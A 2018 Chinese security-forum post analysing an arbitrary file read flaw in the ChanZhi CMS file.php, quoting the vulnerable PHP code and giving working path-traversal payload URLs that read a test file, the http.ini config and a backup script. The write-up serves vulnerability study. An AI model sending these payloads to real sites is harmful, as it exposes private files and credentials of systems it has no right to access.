用户
搜索
  • TA的每日心情
    擦汗
    3 天前
  • 签到天数: 131 天

    连续签到: 1 天

    [LV.7]常住居民III

    i春秋作家

    i春秋十五军装逼团团长

    Rank: 7Rank: 7Rank: 7

    31

    主题

    107

    帖子

    1292

    魔法币
    收听
    0
    粉丝
    16
    注册时间
    2018-3-1

    i春秋签约作者春秋文阁积极活跃奖春秋游侠

    F0rmat i春秋作家 i春秋十五军装逼团团长 i春秋签约作者 春秋文阁 积极活跃奖 春秋游侠 楼主
    发表于 2018-8-19 14:04:56 25718

    0x01 前言

    这两天看到禅知这个CMS有一个前台的任意文件读取漏洞,就在此写一片分析文章。

    0x02 环境

    1. 下载安装安装程序,这个CMS是封装起来的,连着Apache+MySQL一起打包成exe可执行程序。
    2. 安装也比较简单,傻瓜式安装。

    0x03 漏洞复现

    1. 在网站根目录C:\xampp\chanzhi\www新建一个测试文件test.php
    2. 执行payload查看文件内容:http://localhost/file.php?pathname=../test.phpi&t=txt&o=source
    3. 执行payload来查看程序的配置文件:http://localhost/file.php?pathname=../http.ini&t=txt&o=source
    4. 跨目录读取文件(前提是有目录权限):http://localhost/file.php?pathname=../../bin/php/backup.php&t=txt&o=source

    0x04 漏洞分析

    漏洞文件:C:\xampp\chanzhi\www\file.php,从头开始往下分析:

    1. 1-19行是定义变量和判断是否GET传值过来,传全称或者简称都可以赋值给对应的变量,比如:http://192.168.86.130/file.php?f=../test.php&t=txt&o=source,pathnamef是对应的,下面的以此类推。
      主要是19行,$_SERVER['SCRIPT_FILENAME']的值是C:/xampp/chanzhi/www/file.php,加上dirname函数后的值为C:/xampp/chanzhi/www
      rtrim函数是去掉/右边的值然后加上/data/之后$dataRoot的值为C:/xampp/chanzhi/www/data/
    <?php
    $pathname   = '';
    $objectType = '';
    $imageSize  = '';
    $extension  = '';
    $version    = '';
    
    if(isset($_GET['pathname']))   $pathname   = $_GET['pathname'];
    if(isset($_GET['objectType'])) $objectType = $_GET['objectType'];
    if(isset($_GET['imageSize']))  $imageSize  = $_GET['imageSize'];
    if(isset($_GET['extension']))  $extension  = $_GET['extension'];
    
    if(isset($_GET['f'])) $pathname   = $_GET['f'];
    if(isset($_GET['o'])) $objectType = $_GET['o'];
    if(isset($_GET['s'])) $imageSize  = $_GET['s'];
    if(isset($_GET['t'])) $extension  = $_GET['t'];
    if(isset($_GET['v'])) $version    = $_GET['v'];
    
    $dataRoot = rtrim(dirname($_SERVER['SCRIPT_FILENAME']), '/') . '/data/';
    1. 判断$objectType变量的值,如果传入的值不是sourceslide,那么进入else的代码段,但是会加上upload目录就不能实现任意文件读取了,所以传入source是最合适的。
      $dataRoot赋值给$savePath然后和$pathname拼接起来赋值给$realPath变量
    if($objectType == 'source' or $objectType == 'slide')
    {
        if($objectType == 'slide' and !preg_match('/^slides\/[0-9_0-9]/', $pathname)) die('The file does not exist!');
        $savePath = $dataRoot;
    }
    else
    {
        if(!preg_match('/^[0-9]{6}\/f_[a-z0-9]{32}/', $pathname)) die('The file does not exist!');
        $savePath = $dataRoot . 'upload/';
    }
    
    $realPath = $savePath . $pathname;
    1. 开头判断$realPath文件是否存在,接下来把$realPath赋值给$filePath$mime = getMimetype($extension);这一句是根据参数t或者extension传过来的值决定Content-Type的可用值。
      getMimetype函数可以到123行查看,比如我们传过来的值$_GET['t']=txt,那么就会对应的Content-Type是:

    header("Content-type: $mime");是定义HTTP头Content-type内容,$handle = fopen($filePath, "r");读取$filePath的文件。

    if(!file_exists($realPath))
    {
        $realPath = $savePath . (strpos($pathname, '.') === false ? $pathname : substr($pathname, 0, strpos($pathname, '.')));
    }
    $filePath = $realPath;
    if($imageSize == 'smallURL')  $filePath = str_replace('f_', 's_', $realPath);
    if($imageSize == 'middleURL') $filePath = str_replace('f_', 'm_', $realPath);
    if($imageSize == 'largeURL')  $filePath = str_replace('f_', 'l_', $realPath);
    
    if(!file_exists($filePath)) $filePath = $realPath;
    
    if(!file_exists($filePath)) die('The file does not exist!');
    
    $seconds = 3600 * 24 * 30; 
    $expires = gmdate("D, d M Y H:i:s", time() + $seconds) . " GMT";
    header("Expires: $expires"); 
    header("Pragma: cache");
    header("Cache-Control: max-age=$seconds");
    
    $mime = getMimetype($extension);
    header("Content-type: $mime");
    
    $handle = fopen($filePath, "r");
    1. 还没结束,触发是靠while(!feof($handle)) echo fgets($handle);这一句,如果没有这一句就不会构成任意文件读取,所以每一步都很关键。

      if($handle)
      {
      if($mime == 'video/mp4')
      {
          $length = filesize($filePath); 
          $start  = 0;
          $end    = $length - 1;
      
          header("Accept-Ranges: 0-$length");
          if(isset($_SERVER['HTTP_RANGE']))
          {
              $cStart = $start;
              $cEnd   = $end;
      
              list(, $range) = explode('=', $_SERVER['HTTP_RANGE'], 2);
              if(strpos($range, ',') !== false)
              {
                  header('HTTP/1.1 416 Requested Range Not Satisfiable');
                  header("Content-Range: bytes $start-$end/$length");
                  exit;
              }
              if($range == '-')
              {
                  $cStart = $length - substr($range, 1);
              }
              else
              {
                  $range = explode('-', $range);
                  $cStart = $range[0];
                  $cEnd   = (isset($range[1]) && is_numeric($range[1])) ? $range[1] : $length;
              }
      
              $cEnd = ($cEnd > $end) ? $end : $cEnd;
              if ($cStart > $cEnd || $cStart > $length - 1 || $cEnd >= $length)
              {
                  header('HTTP/1.1 416 Requested Range Not Satisfiable');
                  header("Content-Range: bytes $start-$end/$length");
                  exit;
              }
      
              $start  = $cStart;
              $end    = $cEnd;
              $length = $end - $start + 1;
              fseek($handle, $start);
              header('HTTP/1.1 206 Partial Content');
          }
          header("Content-Range: bytes $start-$end/$length");
          header("Content-Length: " . $length);
      
          $buffer = 1024 * 8;
          while(!feof($handle) && ($p = ftell($handle)) <= $end)
          {
              if($p + $buffer > $end) $buffer = $end - $p + 1;
              set_time_limit(0);
              echo fread($handle, $buffer);
              flush();
          }
      
          fclose($handle);
          exit;
      }
      else
      {
          while(!feof($handle)) echo fgets($handle);
          fclose($handle);
      }
      }
    2. 那么到这里就开始构思怎么样去构造Payload:
      • o参数必须为source
      • t参数必须对应的Content-type的值为text/plain
      • f参数文件的相对路径

    那么我们最终的Payload为:
    http://192.168.86.130/file.php?f=../test.php&t=txt&o=source
    或者
    http://192.168.86.130/file.php?pathname=../test.php&extension=txt&objectType=source

    0x05 参考

    https://www.cnblogs.com/52fhy/p/5436673.html
    http://www.lsafe.org/?p=262

    本帖被以下淘专辑推荐:

    getpass.cn
    学习一下~
    使用道具 举报 回复
    发表于 2018-8-22 10:36:29
    666666666666666666
    路漫漫,
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册